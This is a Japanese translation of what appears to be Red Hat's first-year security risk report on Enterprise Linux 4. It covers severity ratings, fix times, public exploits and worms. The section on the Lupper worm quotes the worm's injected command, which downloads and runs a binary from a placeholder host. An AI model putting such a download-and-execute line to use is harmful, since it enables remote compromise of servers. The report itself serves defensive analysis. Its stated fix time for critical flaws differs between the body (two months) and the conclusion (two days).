Red Hat Enterprise Linux 4は、2005年2月15日にリリースされました。このレポートでは、リリース後の最初の1年について、評価尺度、重大な脆弱性、およびユーザがセキュリティ問題の影響を受けた最も一般的な形態など、セキュリティの状況を検討します。問題の影響を最小化するために使用されているベストプラクティスをいくつか紹介し、Exec-ShieldやSELinuxといったRed Hatのセキュリティ技術革新の効果についても検討します。
この記事は「リスクレポート」と呼ばれています。Red Hatではリスクを、1年目にEnterprise Linux 4のユーザに影響を与えたセキュリティ脆弱性(脆弱性)、およびユーザが脆弱性の悪用やワームから受けた悪影響(脅威)の関数と捉えています。
一見すると、Red Hatは年間を通じて多数のアップデートをリリースしたように見えます [1] 。合計183のセキュリティ勧告を発行し、422の脆弱性に対処しました。ただし、これはリスクに関係なく脆弱性をすべて網羅した場合の統計であり、利用可能なあらゆるパッケージが全部インストールされたシステムにのみ当てはまります。それはデフォルトまたは一般的な構成ではありません。
Enterprise Linux 4のリリースとともに、深刻度(シビリティ)レベルの公表を始めました。これは、ユーザが最も問題となる勧告を判断するときに役立ちます。優先度付きのリスク評価が提供されることによって、お客様はシステムのアップグレードをより効率的にスケジューリングすることができます。また、それぞれの問題が各自の環境にもたらすリスクについて、より多くの情報に基づいた判断が可能になります。
Red Hatは、個々の脆弱性の影響を4段階の尺度 [2] 格付けしています。これは、それぞれのセキュリティ問題の深刻さに対するRed Hatの評価がひと目でわかるように設計されています。この尺度では、欠陥自体とそのタイプに関する技術的分析に基づいて、欠陥の潜在的リスクが考慮されていますが、現在の脅威のレベルは考慮されていません。そのため、ある欠陥についてあとで悪用やワームが登場したり、修正がリリースされる前にそれらが新たに現れたりしても、その問題に付与された格付けは変更されません。
お客様が対処する必要のある脆弱性の数を監視するのに、Red Hatでは2つの尺度を使用しています。重大な脆弱性の数、および脆弱性ワークロード指数(深刻度でランク付けした1日あたりの脆弱性の数)です。
この脆弱性ワークロード指数は、セキュリティ運用スタッフが対処する必要のある日々の重要な脆弱性の数を計る尺度となります。この数が大きくなるほど、ワークロードが大きくなり、その脆弱性によって表される一般的なリスクが増大します。ワークロード指数は、NISTのワークロード指数 [3] と同様の方法で計算されます。
特定の月について、脆弱性ワークロード =((前月に公表された深刻度「重大」および「重要」の脆弱性の数)+(前月に公表された深刻度「中」の脆弱性の数/5)+(前月に公表された深刻度「低」の脆弱性の数/20))/(当月の日数)となります。
第1の月に最初のピークが現れることは予想されていました。Enterprise Linux 4のコードはリリース前の数カ月間フリーズされていたため、リリース後すぐに修正が必要になる問題が蓄積されていました。
Red Hat Enterprise Linuxをインストールするとき、ユーザはパッケージのインストールをデフォルト選択で行うか、それともカスタム選択で行うかを選択できます[4]。
表2は、Enterprise Linux 4 ASのデフォルトインストール[5]が、どの重大な欠陥に対しても脆弱性を持たないことを示しています。これは、重大な欠陥の大部分がWebブラウザまたはプラグインに存在するためです。FirefoxとMozillaは、デフォルトではサーバシステムにインストールされません。クライアントシステム(Enterprise Linux WSとRed Hat Desktop)にはデフォルトでFirefox、 Mozilla、およびHelixplayerが含まれるため、14個の重大な脆弱性が発生します。ASでも、デフォルト以外のインストールを行って利用可能なパッケージをすべて選択すると、その1年で考えられる最大の数(19個)の重大な脆弱性を持つシステムが生まれます[6]。
刻度「重大」の脆弱性は、組織に最大のリスクをもたらす可能性があります。定義上、重大な脆弱性は、ワームによってリモートから自動的に悪用することが可能です。また、この定義には、Webブラウザまたはプラグインに影響する欠陥も含まれます。この場合、ユーザは悪意のあるWebサイトを閲覧するだけで脆弱性の悪用にさらされます。
昨年を通じて、多数の調査報告書が「リスク日数(days of risk)」という尺度でベンダーの対応時間を格付けしています。これは、ベンダーがある脆弱性に対するパッチを最初に発表したあと、それを実際に作成するまでに要した日数を測るものです。これは有用な興味深い尺度ですが、調査機関では、ベンダーに通知されてからの時間を含めれば尺度の有効性が増すと考えています。そうすれば、ベンダーが定期アップデートのリリース時点まで脆弱性を秘密にしておくようなポリシーを持っていたとしても、結果が左右されることはありません。
次の表には、脆弱性が初めて一般に知られるようになった日付とEnterprise Linux 4のアップデートが利用可能になった日付が含まれています。
表が示すとおり、すべての重大な欠陥について、その脆弱性の公表から2カ月以内にRed Hat Networkから修正が提供されています。重大な欠陥の73%は、1日以内に修正されています。これらの重大な脆弱性のリスクを軽減するには、こうした迅速な対応が不可欠です。
また、表には、これらの問題がRed Hatに通知された日付も含まれています。これら19個の脆弱性のうち13個については、事前通知を受け取りました(しかし、これらの事前通知は一般への公表の1日前か2日前に過ぎない場合もありました)。出荷するソフトウェアがオープンソースであるため、脆弱性のあるアプリケーションを出荷する企業はRed Hatだけではない可能性が高く、Red Hatは問題が公表される日付を完全に管理することができません。そのため、問題が報告されてから公表されるまでの時間が大幅に短くなる可能性があります。こうした状況のため、Red Hatは、パッチが準備できるまで長期にわたって問題の公表を差し控えるといった手法で「リスク日数」の統計を人為的に削減することはできません。
パッケージによっては、セキュリティ勧告を毎月作成する必要があるように思えるものあります(etherealなど)。そのため、Red Hatでは、Enterprise Linux 4の統計を分析し、最も多くの脆弱性を引き起こしたパッケージを特定しました。深刻度を考慮に入れるため、加重値を用いて脆弱性を評価しています。
(脆弱性の格付けには、「重大」+「重要」/5 + 「中」/25 +「低」/100という尺度を使用しました。)
表4. Enterprise Linux 4で最悪のセキュリティ履歴を持つトップ10パッケージ
列挙されているこれらのトップ10パッケージは、加重値で評価された脆弱性全体の70%に相当しました。
Red Hat Enterprise Linux 4 ASでは、上記のリストのうち、カーネル、cups、およびgpdfパッケージのみがデフォルトでインストールされます。
etherealには年間で合計52個の脆弱性が見つかりましたが、それらはすべて深刻度「中」または「低」と格付けされたため、全体的な加重リスクは大きく下がり、トップ10からは外れています。
これまでは、プラットフォームに影響を与える理論的な脆弱性を検討してきました。しかし、リスクをより正確に捉えるには、実際の脅威を考慮に入れることも必要です。このセクションでは、Red Hatから出荷されるソフトウェアパッケージの欠陥を利用するために作成された、脆弱性エクスプロイトとワームについて検討します。
一説によると、セキュリティ脆弱性のエクスプロイトが秘密にされ、まったく公表されない場合が数多くあるようです。しかし、これらのエクスプロイトの多くはリークされるか、意図的に公表されます。これが起こる頻度を調べ、1年目のEnterprise Linux 4に影響を与えた脆弱性について確認可能なエクスプロイトの一覧を作成しました。これは脅威のレベルを判断するときに役立ちます。
この調査の目的から、持続的な損害を引き起こす可能性があるようなエクスプロイトを対象にしています。そのため、サービス拒否(クラッシュ)を引き起こすために設計されたエクスプロイトはすべて無視します。ただし、「コンセプトの検証」と呼ばれるエクスプロイトは含まれます。この場合、公表されたエクスプロイトはクラッシュを引き起こす可能性があるに過ぎませんが、それらは多くの場合、熟練した攻撃者が完全に攻撃となるような手法を示しています。
最初の1年間では、Red Hatのソフトウェアについて合計28件のエクスプロイトが見つかりました。それらはすべて32ビットのIntelアーキテクチャに影響するものです。それらの半分近くは、スタックまたはヒープのバッファオーバーフロー脆弱性に関するものです。ほとんどの場合、これらの脆弱性に対するリモート攻撃を防止するには、ランダム化と実行不可スタックの強制を行うExec-Shieldテクノロジが役立つはずです。
Linuxカーネルに脆弱性が含まれる場合は、たいてい次に挙げる2つの結果のいずれかになります。すなわち、権限のないローカルユーザがマシンのクラッシュを引き起こすか、またはローカルユーザが自分の権限を引き上げる(そして、root権限を獲得する)ことができます。パッチが適用されていないEnterprise Linux 4システムにおいて、権限のないユーザがroot権限を獲得できる可能性がある5つの脆弱性についてエクスプロイトが見つかりました。これら5つの脆弱性のうち、1つはシステムでbluetoothドライバが使用されている必要があり(CVE-2005-0750)、もう1つは複数のCPUを備えたシステムでのみ悪用できます(CVE-2005-0001)。その他(CVE-2005-0736、CVE-2004-1235、CVE-2005-0531)は、パッチが適用されていない任意のシステムで悪用できます。場合によっては、これらの周知のエクスプロイトを脆弱性のあるRed Hat Enterprise Linux 4カーネルで機能させるには、多少の調整が必要になります。
見つかった周知のエクスプロイトのうち3分の1以上は、Webアプリケーションの欠陥に関するものでした。そのうち1つを除くすべてがMozillaスイート(Mozilla、Firefox、Thunderbird)を標的にしたものでした。それぞれのエクスプロイトについて、コードの実行は、いずれも脆弱性のあるブラウザを実行しているユーザと同じ権限での実行に限られます。したがって、Webブラウザやグラフィカル電子メールクライアントを絶対にrootとして使用しないことがベストプラクティスとなります。表5は、ブラウザのエクスプロイトを説明しています。
最後に、表7は、サーバアプリケーションとサービスに影響する既知のエクスプロイトの一覧です。
ワームは、システムを脆弱化させるためにパッケージの脆弱性を利用し、次に脆弱化したシステムを利用して他のシステムへ侵入しようとします。深刻度の定義によって、こうした方法で悪用できる脆弱性は、いずれも「重大」と分類されます。以前、Red Hatでは、深刻度「重大」と格付けされる脆弱性をすべて一覧にしました。しかし、ユーザ側のアクション(たとえば、悪意のあるWebページを閲覧するなど)が要求されるいくつかのブラウザの脆弱性を「重大」と分類しているため、現実には、ワームによって実際に利用される可能性があるのは、それらの脆弱性の一部だけです。
Linuxワームは、ここ数年はごくわずかにとどまっており、マルウェアを追跡しているウィルス対策ベンダによってその期間に記録されているのは2つだけです。
Linux/MAREは2005年11月に発見されました。これは、PHP-Nukeの欠陥を悪用することで拡散するワームです。PHP-Nukeは、出荷されているRed Hat Enterprise Linuxには含まれていません。
Linux/Lupperは2005年12月に発見されました。これはPHP PEAR XML-RPCサーバパッケージの欠陥CVE-2005-1921を、多数のサードパーティ製PHPスクリプトを介して悪用するために設計されたワームです。それらの影響を受けるサードパーティ製アプリケーションは、いずれも出荷されているRed Hat Enterprise Linuxには含まれていません。さらに、2005年7月のPHPアップデートによって、基礎となる脆弱性が修正され、このワームからの保護が実現されました。
Lupperワームによって悪用された脆弱性は、より一般的なバッファオーバーフローやフォーマット文字列の欠陥ではなく、アプリケーションの欠陥でした。これは、オーバーフローからの保護のために設計されたテクノロジ(Exec-Shieldなど)が、予防策として役に立たないことを意味していました。
この欠陥によって、リモート攻撃者は、PHPのexec()コマンドにより解釈される文字列を送信できます。その結果、ワームがこの欠陥を起動し、次に示すような文字列を送信します。 :
exec("cd /tmp;wget http://somesite.example.com/exe;chmod u+x exe;./exe");
この場合、Enterprise Linux 4においてデフォルトでインストールされるSELinuxのtargetedポリシーは、/tmpディレクトリから新たにダウンロードされるバイナリの実行を阻止します。したがって、Lupperワームがその悪意のあるコードを実行し、拡散することを防止できます。しかし、このポリシーは、たとえば任意のPerlスクリプトの実行を阻止しません。そのため、このワームに変更を加えることにより、出荷されている特定のデフォルトSELinuxポリシーを回避できる可能性があります。
Red Hatは、セキュリティ脆弱性のリスク軽減に役立つテクノロジを継続的に開発しています。これらの多くがRed Hat Enterprise Linux 4に統合されました。最大のものはSELinuxとExec-Shieldです。Exec-ShieldはNo eXecute(NX)メモリパーミッションのサポートを実現するプロジェクトであり、セグメント制限、Position Independent Executable(PIE)、gcc、およびglibcの強化を通じてNXをシミュレートします。glibcの強化には、過去にwuftpdなどのサービスの悪用が話題になった不明瞭なプログラミングの欠陥、「二重解放」の悪用を防止するためのチェックの追加が含まれます。
2004年8月、MITチームは、MIT Kerberos 5のKey Distribution Centerプログラムに二重解放のセキュリティ欠陥があることを公表しました [7] ed Hat Enterprise Linux 4ユーザについては、glibcの強化によりこの二重解放欠陥の悪用が防止されるため、この欠陥の深刻度を「重大」から「重要」に引き下げることができました。
このレポートの目的は、Red Hat Enterprise Linux 4のユーザがリリース1年目に遭遇したリスクを検討することでした。表面的にはRed Hatが多数のセキュリティ勧告をリリースしたように見えますが、実はその多くは通常またはデフォルトのインストールには該当せず、深刻度の高いものは一部に過ぎないことが示されました。
カスタムインストールによってすべてのパッケージを選択した場合は、1年目に判明した19の重大なセキュリティ問題に対して脆弱性がありましたが、そのすべてについて、一般に知られるようになってから2日以内にRed Hat Networkからアップデートが提供されました。
Enterprise Linux 4 ASのデフォルトインストールは、どの重大なセキュリティ問題に対しても脆弱性がありませんでした。
カスタマイズされたフルインストールに影響する可能性のある周知の悪用は28件見つかりましたが、多くの場合、それらを悪用する試みは、標準のEnterprise Linux 4テクノロジによって捕捉されました。
最も可能性の高いエクスプロイトは、権限のないローカルユーザがroot権限を獲得できるようにするものでした。
Linuxシステムを標的にした2つのワームが発見されましたが、両方ともRed Hat Enterprise Linux 4とともに出荷されているサードパーティ製PHPアプリケーションには影響を与えませんでした。
Red Hat Enterprise Linux 4のセキュリティの状況について、このレポートのみに基づいて結論を下すのはばかげていますが、ここで追求したことは、過去の脆弱性と脅威のレベル、したがってプラットフォームの全体的なリスクを示すことです。
Red Hatセキュリティ対策チームのポリシーは、セキュリティ脆弱性のリスクを軽減するために設計されています。
重大な脆弱性について、考えられる最短の対応時間を実現することに重点を置く。
重要なセキュリティ問題について、月次または四半期アップデートでまとめて処理するのではなく、できるだけ早くアップデートをリリースする。
評価尺度の透明性を確保し、リンクされたバグ追跡データベースで脆弱性の詳細情報を提供する。
このレポートで統計情報の作成に使用されている生データの大部分、およびその分析のためのツールは、Red Hatセキュリティ対策チームからオンラインで入手でき [8] 、定期的にアップデートされています。
[4] http://www.redhat.com/docs/manuals/enterprise/RHEL-4-Manual/x8664-multi-install-guide/s1-pkgselection.html
[5] Red Hat Enterprise Linux 4には、4つのタイプがあります。2つはサーバソリューション向けのEnterprise Linux ASおよびES、あとの2つはクライアントソリューション向けのEnterprise Linux WSとRed Hat Desktopです。Enterprise Linux WSとRed Hat Desktopで利用可能なパッケージセットは、Enterprise Linux ASで利用可能なパッケージセットの一部です。
[6] これらの統計情報の目的から、ここでは最悪のケース、つまりリリース当日に取得されたRed Hat Enterprise Linux 4のバージョンを対象にしています。1年目には、2つのアップデートリリースが作成されました(2005年6月8日にUpdate 1、2005年10月5日にUpdate 2)。これらのアップデートリリースはサービスパックのようなもので、最新のセキュリティ勧告がすべてまとめて含まれています。そのため、Update 1またはUpdate 2をインストールしたユーザは、これらの問題の一部に対して脆弱性を持つだけです。